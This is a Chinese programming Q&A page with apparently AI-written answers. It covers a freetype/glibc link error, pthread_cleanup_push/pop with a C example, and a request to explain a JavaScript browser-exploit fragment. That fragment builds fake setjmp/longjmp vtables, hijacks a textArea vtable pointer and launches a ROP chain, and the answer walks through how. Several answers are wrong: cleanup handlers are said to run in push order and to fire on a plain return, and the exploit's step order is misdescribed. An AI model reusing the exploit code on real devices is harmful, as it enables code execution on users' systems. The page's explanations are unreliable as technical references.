unknown symbol: __longjmp_chk referenced from libfreetype.so.6
时间: 2023-05-10 14:00:24 浏览: 85
这个错误信息出现在使用 libfreetype.so.6 库时,提示某个未知符号 __longjmp_chk 的引用。具体表现是在编译或链接时出现错误,程序无法正常生成可执行文件。__longjmp_chk 是一个检查跨函数 longjmp() 的缓冲区溢出的机制,多数情况下是 glibc 库提供的。因此,应该是出现了 glibc 库与 freetype 库版本不兼容的问题所导致的。
为了解决这个错误,我们可以尝试更新 glibc 库或者降级 freetype 库,以找到一个版本兼容的组合。还可以在编译时指定链接选项“--no-as-needed”来强制链接相关库文件,以避免被意外跳过。
总之,解决这个问题需要对 Linux 库系统有一定的了解,同时要注意版本兼容性问题。
相关问题
pthread_cleanup_push和pthread_clean_pop详解
`pthread_cleanup_push` 和 `pthread_cleanup_pop` 是 POSIX 线程库提供的两个函数,用于在线程退出时清理资源。
具体来说,当线程执行到 `pthread_cleanup_push` 函数时,它会将一个清理函数和一个参数压入线程的清理栈中。当线程退出时,无论是通过线程函数的 return 语句、pthread_exit 函数还是被取消,都会自动调用清理栈中的每个清理函数,并按照压入栈的顺序依次执行。
在多线程编程中,线程可能会因为各种原因(如出现异常)而异常终止,导致没有机会清理资源,从而造成资源泄漏或者其他问题。使用 `pthread_cleanup_push` 和 `pthread_cleanup_pop` 可以保证线程退出时一定会执行清理函数,避免这些问题。
下面是一个示例代码:
```c
#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
void cleanup_handler(void *arg) {
printf("cleanup: %s\n", (char *) arg);
}
void *thread_func(void *arg) {
char *msg = (char *) arg;
printf("thread: %s\n", msg);
// 压入清理函数
pthread_cleanup_push(cleanup_handler, "thread is finished");
// 执行任务
sleep(5);
// 弹出清理函数
pthread_cleanup_pop(1);
pthread_exit(NULL);
}
int main() {
pthread_t tid;
int ret;
ret = pthread_create(&tid, NULL, thread_func, "hello world");
if (ret != 0) {
fprintf(stderr, "pthread_create error\n");
exit(EXIT_FAILURE);
}
// 等待线程退出
ret = pthread_join(tid, NULL);
if (ret != 0) {
fprintf(stderr, "pthread_join error\n");
exit(EXIT_FAILURE);
}
printf("main: thread is finished\n");
return 0;
}
```
在这个示例中,线程执行到 `pthread_cleanup_push` 函数时,它会将 `cleanup_handler` 函数和字符串 `"thread is finished"` 压入清理栈中。当线程执行完任务后,无论是正常退出还是被取消,都会自动调用 `cleanup_handler` 函数,并打印出 `"cleanup: thread is finished"` 的消息。
需要注意的是,如果在 `pthread_cleanup_push` 和 `pthread_cleanup_pop` 之间调用了 `pthread_exit`,那么清理函数也会被执行。但是如果在 `pthread_cleanup_push` 和 `pthread_cleanup_pop` 之间调用了 `longjmp`,那么清理函数就不会被执行。因此,不要在使用 `setjmp` 和 `longjmp` 的代码中使用 `pthread_cleanup_push` 和 `pthread_cleanup_pop`。
var fakeVtable_setjmp = p.malloc32(0x200); var fakeVtable_longjmp = p.malloc32(0x200); var original_context = p.malloc32(0x40); var modified_context = p.malloc32(0x40); p.write8(fakeVtable_setjmp.add32(0x0), fakeVtable_setjmp); p.write8(fakeVtable_setjmp.add32(0xA8), webKitBase.add32(OFFSET_WK_setjmp_gadget_two)); // mov rdi, qword ptr [rdi + 0x10] ; jmp qword ptr [rax + 8] p.write8(fakeVtable_setjmp.add32(0x10), original_context); p.write8(fakeVtable_setjmp.add32(0x8), libSceLibcInternalBase.add32(OFFSET_libcint_setjmp)); p.write8(fakeVtable_setjmp.add32(0x1C8), webKitBase.add32(OFFSET_WK_setjmp_gadget_one)); // mov rax, qword ptr [rcx]; mov rdi, rcx; jmp qword ptr [rax + 0xA8] p.write8(fakeVtable_longjmp.add32(0x0), fakeVtable_longjmp); p.write8(fakeVtable_longjmp.add32(0xA8), webKitBase.add32(OFFSET_WK_longjmp_gadget_two)); // mov rdi, qword ptr [rdi + 0x10] ; jmp qword ptr [rax + 8] p.write8(fakeVtable_longjmp.add32(0x10), modified_context); p.write8(fakeVtable_longjmp.add32(0x8), libSceLibcInternalBase.add32(OFFSET_libcint_longjmp)); p.write8(fakeVtable_longjmp.add32(0x1C8), webKitBase.add32(OFFSET_WK_longjmp_gadget_one)); // mov rax, qword ptr [rcx]; mov rdi, rcx; jmp qword ptr [rax + 0xA8] function launch_chain(chain) { chain.push(window.gadgets["pop rdi"]); chain.push(original_context); chain.push(libSceLibcInternalBase.add32(OFFSET_libcint_longjmp)); p.write8(textAreaVtPtr, fakeVtable_setjmp); textArea.scrollLeft = 0x0; p.write8(modified_context.add32(0x00), window.gadgets["ret"]); p.write8(modified_context.add32(0x10), chain.stack); p.write8(modified_context.add32(0x40), p.read8(original_context.add32(0x40))) p.write8(textAreaVtPtr, fakeVtable_longjmp); textArea.scrollLeft = 0x0; p.write8(textAreaVtPtr, textAreaVtable); }请解释以上代码?
以上代码中定义了一些变量和函数,并实现了一个名为`launch_chain(chain)`的函数。下面对每段代码进行解释:
1. 创建一些变量:
- `fakeVtable_setjmp`:分配了大小为0x200的内存块,用于构建伪造的`setjmp`函数的vtable。
- `fakeVtable_longjmp`:分配了大小为0x200的内存块,用于构建伪造的`longjmp`函数的vtable。
- `original_context`:分配了大小为0x40的内存块,用于保存原始的上下文信息。
- `modified_context`:分配了大小为0x40的内存块,用于保存修改后的上下文信息。
2. 对伪造的`setjmp`和`longjmp`函数的vtable进行填充:
- 设置`fakeVtable_setjmp`的第一个指针指向自身。
- 设置`fakeVtable_setjmp`的第二个指针指向一个gadget,用于构建ROP链中的`setjmp`操作。这个gadget从rdi寄存器中读取一个地址,并跳转到该地址。
- 设置`fakeVtable_setjmp`的第三个指针指向原始上下文的地址。
- 设置`fakeVtable_setjmp`的第四个指针指向真正的`setjmp`函数。
类似地,对`fakeVtable_longjmp`进行填充,但是使用的是针对`longjmp`函数的gadget和地址。
3. `launch_chain(chain)`函数用于执行ROP链。它接受一个`chain`参数,该参数是一个数组,包含了一系列的ROP操作。函数首先将一些指令(gadgets)和地址推入`chain`数组,以便在ROP链中使用。
接下来,函数通过修改`textAreaVtPtr`的值为`fakeVtable_setjmp`,将伪造的`setjmp`函数的vtable应用到`textArea`对象上。然后,通过设置`textArea`的`scrollLeft`属性为0,触发执行伪造的`setjmp`函数。
继续执行时,将修改后的上下文地址和真正的`longjmp`函数地址推入`chain`数组。然后,将`modified_context`中的一些字段进行修改,以准备执行ROP链。
接下来,将`textAreaVtPtr`的值修改回原始的vtable地址,并触发执行伪造的`longjmp`函数。
这样,通过修改对象的vtable和触发特定的函数调用,实现了ROP链的执行,从而达到对目标系统进行特定操作的目的。